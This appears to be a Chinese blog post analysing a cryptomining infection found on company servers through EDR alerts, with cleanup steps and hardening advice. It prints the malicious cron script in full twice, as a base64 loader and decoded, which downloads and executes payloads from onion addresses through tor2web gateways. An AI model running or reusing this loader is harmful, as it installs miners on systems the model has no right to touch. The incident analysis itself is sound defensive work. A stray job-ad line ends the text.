从EDR设备日志中,发现爆出恶意软件问题,通过威胁日志可以发现EDR隔离后又会重新生成新的shell脚本.共发现了七台机器中病毒. (悲伤无以言表)

正文

为获取原因,登录服务器一探究竟

发现CPU一直占用很高,初步分析是挖矿脚本
ls -l /proc/pid/exe 查看异常的进程

通过线索yarn用户继续一探究竟,发现计划任务存在着EDR告警的脚本

看一下脚本内容

# !/bin/bashexec &>/dev/nullecho ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10cnVtcHM0YzRvaHh2cTdvCmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluIC91c3IvYmluICRkaXIgL2Rldi9zaG0gL3RtcCAvdmFyL3RtcDtkbyB0b3VjaCAkaS9pICYmIGNkICRpICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp4KCkgewpmPS9pbnQKZD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCndnZXQgLXQxIC1UMTAgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJGYgLU8kZCB8fCBjdXJsIC1tMTAgLWZzU0xrQS0gJDEkZiAtbyRkCmNobW9kICt4ICRkOyRkO3JtIC1mICRkCn0KdSgpIHsKeD0vY3JuCndnZXQgLXQxIC1UMTAgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IHx8IGN1cmwgLW0xMCAtZnNTTGtBLSAkMSR4Cn0KZm9yIGggaW4gdG9yMndlYi5pbyA0dG9yLm1sIG9uaW9uLm1uIG9uaW9uLmluLm5ldCBvbmlvbi50byBkMndlYi5vcmcgY2l2aWNsaW5rLm5ldHdvcmsgb25pb24ud3Mgb25pb24ubnogb25pb24uZ2xhc3MgdG9yMndlYi5zdQpkbwppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgp4IHRydW1wczRjNG9oeHZxN28uJGgKZWxzZQpicmVhawpmaQpkb25lCgppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgooCnUgJHQudG9yMndlYi5pbyB8fAp1ICR0LjR0b3IubWwgfHwKdSAkdC5kMndlYi5vcmcgfHwKdSAkdC5vbmlvbi5tbiB8fAp1ICR0Lm9uaW9uLmluLm5ldCB8fAp1ICR0Lm9uaW9uLnRvIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC5vbmlvbi5wZXQgfHwKdSAkdC50b3Iyd2ViLnN1IHx8CnUgJHQub25pb24uZ2xhc3MgfHwKdSAkdC5vbmlvbi53cwopfGJhc2gKZmkK|base64 -d|bash

通过base64解码后

exec & > /dev/nullexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbint=trumps4c4ohxvq7odir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do  touch $i/i && cd $i && rm -f i && break;donex() {  f=/int  d=./$(date|md5sum|cut -f1 -d-)  wget -t1 -T10 -qU- --no-check-certificate $1$f -O$d || curl -m10 -fsSLkA- $1$f -o$d  chmod +x $d;$d;rm -f $d}u() {  x=/crn  echo "wget -t1 -T10 -qU- -O- --no-check-certificate $1$x || curl -m10 -fsSLkA- $1$x"}for h in tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.sudo  if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then    x trumps4c4ohxvq7o.$h  else    break  fidone
if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then  (    u $t.tor2web.io ||    u $t.4tor.ml ||    u $t.d2web.org ||    u $t.onion.mn ||    u $t.onion.in.net ||    u $t.onion.to ||    u $t.civiclink.network ||    u $t.onion.pet ||    u $t.tor2web.su ||    u $t.onion.glass ||    u $t.onion.ws  )|bashfi

通过脚本发现在/tmp/.X11-unix/存在以下文件

看着熟悉的数字,不难发现是脚本的进程id

此外，发现.ssh下的known_hosts被添加如下一条公钥记录

主机hosts中也添加了如下记录：

为了防止事态进一步扩大，我让老哥先把这个进程杀掉，关闭了计划任务,然后进行排查，可是没过多久，挖矿进程死灰复燃了，这次挖矿的名称变成了Xpx6dfwq,EDR并再次隔离了此脚本.
我想事情可能没那么简单，刚刚通过排查yarn用户的定时任务，仔细一想是不是别的用户还存在定时任务,难免有人怀疑。通过排查发现了另一个脚本计划任务

以下是相关代码，有想研究的小伙伴可以拿去去进行研究。

# !/bin/bashexec &>/dev/nullecho ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10cnVtcHM0YzRvaHh2cTdvCmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluIC91c3IvYmluICRkaXIgL2Rldi9zaG0gL3RtcCAvdmFyL3RtcDtkbyB0b3VjaCAkaS9pICYmIGNkICRpICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp4KCkgewpmPS9pbnQKZD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCndnZXQgLXQxIC1UMTAgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJGYgLU8kZCB8fCBjdXJsIC1tMTAgLWZzU0xrQS0gJDEkZiAtbyRkCmNobW9kICt4ICRkOyRkO3JtIC1mICRkCn0KdSgpIHsKeD0vY3JuCndnZXQgLXQxIC1UMTAgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IHx8IGN1cmwgLW0xMCAtZnNTTGtBLSAkMSR4Cn0KZm9yIGggaW4gdG9yMndlYi5pbyA0dG9yLm1sIG9uaW9uLm1uIG9uaW9uLmluLm5ldCBvbmlvbi50byBkMndlYi5vcmcgY2l2aWNsaW5rLm5ldHdvcmsgb25pb24ud3Mgb25pb24ubnogb25pb24uZ2xhc3MgdG9yMndlYi5zdQpkbwppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgp4IHRydW1wczRjNG9oeHZxN28uJGgKZWxzZQpicmVhawpmaQpkb25lCgppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgooCnUgJHQudG9yMndlYi5pbyB8fAp1ICR0LjR0b3IubWwgfHwKdSAkdC5kMndlYi5vcmcgfHwKdSAkdC5vbmlvbi5tbiB8fAp1ICR0Lm9uaW9uLmluLm5ldCB8fAp1ICR0Lm9uaW9uLnRvIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC5vbmlvbi5wZXQgfHwKdSAkdC50b3Iyd2ViLnN1IHx8CnUgJHQub25pb24uZ2xhc3MgfHwKdSAkdC5vbmlvbi53cwopfGJhc2gKZmkK|base64 -d | bash

解码以后的内容如下：

exec & > /dev/nullexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbint=trumps4c4ohxvq7odir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do  touch $i/i && cd $i && rm -f i && break;donex() {  f=/int  d=./$(date|md5sum|cut -f1 -d-)  wget -t1 -T10 -qU- --no-check-certificate $1$f -O$d || curl -m10 -fsSLkA- $1$f -o$d  chmod +x $d;$d;rm -f $d}u() {  x=/crn  echo "wget -t1 -T10 -qU- -O- --no-check-certificate $1$x || curl -m10 -fsSLkA- $1$x"}for h in tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.sudo  if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then    x trumps4c4ohxvq7o.$h  else    break  fidone
if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then  (    u $t.tor2web.io ||    u $t.4tor.ml ||    u $t.d2web.org ||    u $t.onion.mn ||    u $t.onion.in.net ||    u $t.onion.to ||    u $t.civiclink.network ||    u $t.onion.pet ||    u $t.tor2web.su ||    u $t.onion.glass ||    u $t.onion.ws  )|bashfi

最后清除木马病毒和计划任务
kill -9 16806 && kill -9 17553 && rm -rf /etc/cron.d/0wlvly && chattr -i /root/.wlvly.sh && rm -rf /root/.wlvly.sh && chattr -i /opt/wlvly.sh && rm -rf /opt/wlvly.sh && rm -rf /etc/cron/yarn && chattr -i /home/.systemd-service.sh && rm -rf /home/.systemd-service.sh
同时记得清除公钥记录和hosts文件

通过近两天的观察.服务器恢复正常
后续溯源工作由于上面运行三个网站，并安装redis(存在未授权漏洞)，memcache等，并且未设置日志，所以越来越难发现攻击者是从什么地方进来的。对管理员提出以下建议：
1、对redis进行安全加固和合规性配置
2、使用河马webshell查杀工具对web目录进行扫描，查看是否有遗留的webshell
3、加固操作系统，重新设置复杂度较高的密码。

 4.  具备美术功底、懂得设计美化等

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设计师（实习生）

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